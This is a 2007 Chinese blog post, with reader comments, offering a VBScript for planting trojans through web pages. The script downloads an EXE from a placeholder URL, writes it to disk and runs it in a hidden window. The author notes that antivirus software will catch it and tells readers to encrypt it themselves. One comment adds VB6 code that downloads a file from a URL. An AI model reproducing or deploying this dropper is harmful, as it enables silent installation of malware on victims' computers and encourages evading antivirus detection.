VBS实现远程下载（无回应）+后台执行

2007-08-16 20:55:44

很多朋友都喜欢玩马，只是苦于自己的木马没地方种，下面就给大家介绍段网页挂马的vbs脚本，代码如下：

'使用vbs下载文件脚本,可以下载http协议的二进制或者文本文件
'参考借鉴了vkill(vkill.net)的dos邮件发送批处理程序，在此表示感谢。

url = "http://www.xxx.com/XXX.exe" '网络上的EXE文件地址，改成你自己想要的就可以了啊
saveas = "XXX.exe" '保存成的本地文件

Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象

Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求

stream.mode = 3 '设置数据流为读写模式
stream.type = 1 '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件

Set WSHSHell=WScript.CreateObject("WScript.Shell") '创建Shell对象
'运行XXX.exe
WSHSHell.Run "XXX.exe",0

'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

看到上面的代码可不要太高兴哦，应为这样的代码随便拿个破烂的杀毒软件都可以把它个咔嚓了，你还需要对代码进行加密才行哦...怎么加密就要先自己找喽..

上班去了，忙啊~~~~

上一篇记事本轻松打造QQ强行聊天器　　下一篇 vbs实现IP自动改

类别：脚本相关 ┆ 技术圈() ┆ 阅读() ┆ 评论() ┆推送到技术圈 ┆返回首页

相关文章

文章评论

[1楼]

[匿名]小强

2007-08-16 21:12:36

晕啊，这段代码这么熟悉啊
嘿，原来是转的呀

[2楼]

[匿名]fth

2007-11-15 13:38:06

wersert

[3楼]

[匿名]Anyhacker

2007-11-15 13:40:34

哈哈原创代码
Private Sub Command1_Click()
Dim a As String
Dim b As String
a = Text1.Text
b = Text2.Text
qq a, b
End Sub
Private Sub qq(a As String, b As String)
Dim c() As Byte
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
If fso.fileexists(b) Then
fso.deletefile (b)
End If
Set fso = Nothing
c() = Inet1.openurl(a, icbytearray)
Open b For Binary Access Write As #1
Put #1, , c()
Close #1
End Sub
Private Sub Text1_GotFocus()
Text1.Text = ""
End Sub

昵称：
验证码：		点击图片可刷新验证码　　博客过2级，无需填写验证码
内容：

小朋友※乞丐

VBS实现远程下载（无回应）+后台执行